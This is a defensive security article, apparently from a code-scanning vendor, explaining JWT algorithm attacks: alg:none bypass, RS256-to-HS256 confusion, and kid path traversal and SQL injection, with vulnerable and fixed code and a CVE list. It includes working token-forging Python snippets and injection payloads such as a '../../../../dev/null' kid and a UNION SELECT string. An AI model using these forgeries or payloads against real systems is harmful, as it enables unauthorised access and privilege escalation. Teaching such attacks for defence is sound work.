JWT structure and the algorithm problem
A JSON Web Token consists of three base64url-encoded parts separated by dots: header.payload.signature. The header is a JSON object that specifies the token type ("typ": "JWT") and the signing algorithm ("alg": "RS256"). The payload contains the claims. The signature is computed over the header and payload using the key and algorithm specified in the header.
The fundamental design tension: the verifier needs to know which algorithm was used to verify the signature. The token carries this information in its own header. If the verifier trusts the header's alg claim without restriction, an attacker who controls the token (e.g., their own browser cookie) can manipulate the algorithm and forge a valid signature.
{
"alg": "RS256", ← attacker can change this
"typ": "JWT"
}
{
"sub": "user123",
"role": "admin", ← attacker wants this
"iat": 1741478400,
"exp": 1741564800
}
Attack 1: alg:none — the unsigned token bypass
The JWT RFC 7519 defines "none" as a valid algorithm value meaning "unsecured JWT" — no signature required. It was intended for use in contexts where the token is integrity-protected by other means (e.g., a TLS-secured channel where the token is not tampered with). Many early JWT libraries implemented it without requiring explicit opt-in.
The attack: take any valid JWT, decode the header, change "alg" to "none", modify the payload to escalate privileges, re-encode, and strip the signature. The resulting token passes verification in any library that doesn't explicitly disallow none.
import base64, json def b64url_encode(data: bytes) -> str: return base64.urlsafe_b64encode(data).rstrip(b"=").decode() # Step 1: craft header with alg:none header = {"alg": "none", "typ": "JWT"} payload = {"sub": "attacker", "role": "admin", "exp": 9999999999} h = b64url_encode(json.dumps(header, separators=(",",":")).encode()) p = b64url_encode(json.dumps(payload, separators=(",",":")).encode()) # No signature — just the trailing dot forged_token = f"{h}.{p}." print(forged_token) # eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0.
const jwt = require("jsonwebtoken"); // VULNERABLE: algorithm not specified, library trusts token header const decoded = jwt.verify(forgedToken, publicKey); // Returns { sub: 'attacker', role: 'admin' } — no error! // SECURE: explicitly specify allowed algorithms const decoded = jwt.verify(forgedToken, publicKey, { algorithms: ["RS256"] // "none" will now throw });
Variants still found in the wild: "alg": "None", "alg": "NONE", "alg": "nOnE" — case-insensitive matching bugs in some libraries accepted these where lowercase none was blocked.
Attack 2: RS256 → HS256 algorithm confusion
This attack is subtler and more dangerous. Applications using RS256 (asymmetric RSA signing) have two keys: a private key used to sign tokens, and a public key used to verify them. The public key is often distributed openly — embedded in JWKS endpoints, CDN-hosted, or included in client-side code.
The confusion attack exploits libraries that use a single code path for both symmetric (HS256, HMAC) and asymmetric (RS256, RSA) algorithms, selecting the algorithm based on the token header. The attack:
- Obtain the server's RSA public key (it's public — just fetch the JWKS endpoint).
- Create a new token with
"alg": "HS256"in the header and the desired payload. - Sign the token using HMAC-SHA256 with the RSA public key as the HMAC secret.
- The server receives the token, reads
"alg": "HS256", and looks for an HMAC key. If the code path passes the RSA public key as the "secret", verification succeeds.
import jwt # PyJWT # Fetch the server's public key from its JWKS endpoint # (public information — no credentials needed) rsa_public_key_pem = """-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... -----END PUBLIC KEY-----""" # Sign a forged token with HS256, using the RSA PUBLIC key as the HMAC secret forged_token = jwt.encode( {"sub": "attacker", "role": "admin", "exp": 9999999999}, rsa_public_key_pem, # public key used as HMAC secret! algorithm="HS256" )
// VULNERABLE: passes the public key to verify() without specifying algorithms // Library reads "alg":"HS256" from header, uses publicKey as HMAC secret const decoded = jwt.verify(forgedToken, publicKey); // ✓ Verification passes — role: "admin" // SECURE: explicitly allowlist RS256 only const decoded = jwt.verify(forgedToken, publicKey, { algorithms: ["RS256"] }); // ✗ Throws: "invalid algorithm"
Attack 3: kid parameter injection and path traversal
The kid (Key ID) header parameter is an optional hint telling the verifier which key to use. Some implementations look up the key by reading a file named by the kid value, or by querying a database with the raw kid string. Both are exploitable.
kid path traversal to /dev/null
If the server loads the signing key from the filesystem using the kid value as a filename, setting "kid": "../../../../dev/null" makes the server load an empty key. The attacker then signs the token with an empty string as the HMAC secret.
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../dev/null"
}
kid SQL injection
If the kid is used in a database query to retrieve the key, and the query is not parameterized, SQL injection via the kid field can return an attacker-controlled key value — bypassing signature verification entirely.
# VULNERABLE: kid used directly in query string kid = header.get("kid") # attacker-controlled query = f"SELECT key FROM jwt_keys WHERE id = '{kid}'" key = db.execute(query).fetchone()[0] # Attack: kid = "x' UNION SELECT 'attacker_hmac_secret' --" # Returns 'attacker_hmac_secret' as the key # Attacker signs with 'attacker_hmac_secret' → verification passes # SECURE: parameterized query query = "SELECT key FROM jwt_keys WHERE id = ?" key = db.execute(query, (kid,)).fetchone()[0]
Affected libraries and CVE history
- jsonwebtoken (Node.js) — CVE-2015-9235:
alg:nonebypass in versions before 4.2.2. CVE-2022-23529: arbitrary file write via thesecretOrPublicKeycallback. Patched, but widely deployed legacy versions remain. - java-jwt (Auth0) — versions before 3.x did not enforce algorithm restrictions, permitting RS256→HS256 confusion.
- PyJWT — CVE-2022-29217: algorithm confusion in versions before 2.4.0 when verify_signature was bypassed via crafted headers.
- Java ECDSA (CVE-2022-21449) — "Psychic Signatures": a bug in Java 15–18's ECDSA implementation accepted any ECDSA signature for any data. Not strictly algorithm confusion, but the same category: forged tokens pass verification.
Checking your version is not enough. Many JWT vulnerabilities are in verification logic that can be misconfigured even in patched library versions. The algorithm allowlist must be explicitly specified in every verify() call, even after upgrading.
Secure implementation checklist
- Always specify
algorithmsin verify calls. Never let the library read the algorithm from the token header without restriction. - Use separate keys for signing and verification. Asymmetric RS256/ES256 prevents HMAC confusion attacks because the private key is never accessible to verifiers.
- Validate the
kidparameter against a strict allowlist before using it to load a key. Reject any value containing path separators or special characters. - Use parameterized queries for any key lookup involving user-controlled JWT header fields.
- Reject
alg:noneexplicitly, even if your library claims to block it — test it. - Pin library versions and monitor CVE feeds for your JWT library. The jsonwebtoken, PyJWT, and java-jwt changelogs contain security advisories that are not always announced widely.
- Use short expiry times (
expclaim) and implement token revocation for high-value sessions — limits the window a forged or stolen token remains valid.
"The correct mental model is: the JWT library should be given the algorithm it expects to see — not asked to detect it. Any code path where the library auto-detects the algorithm from the token is a potential algorithm confusion vulnerability."
Detect JWT vulnerabilities in your codebase automatically
AquilaX SAST detects JWT algorithm confusion patterns, insecure verify() calls, and kid injection sinks across Node.js, Python, Java, and Go — with taint-flow analysis.
Try SAST scanning →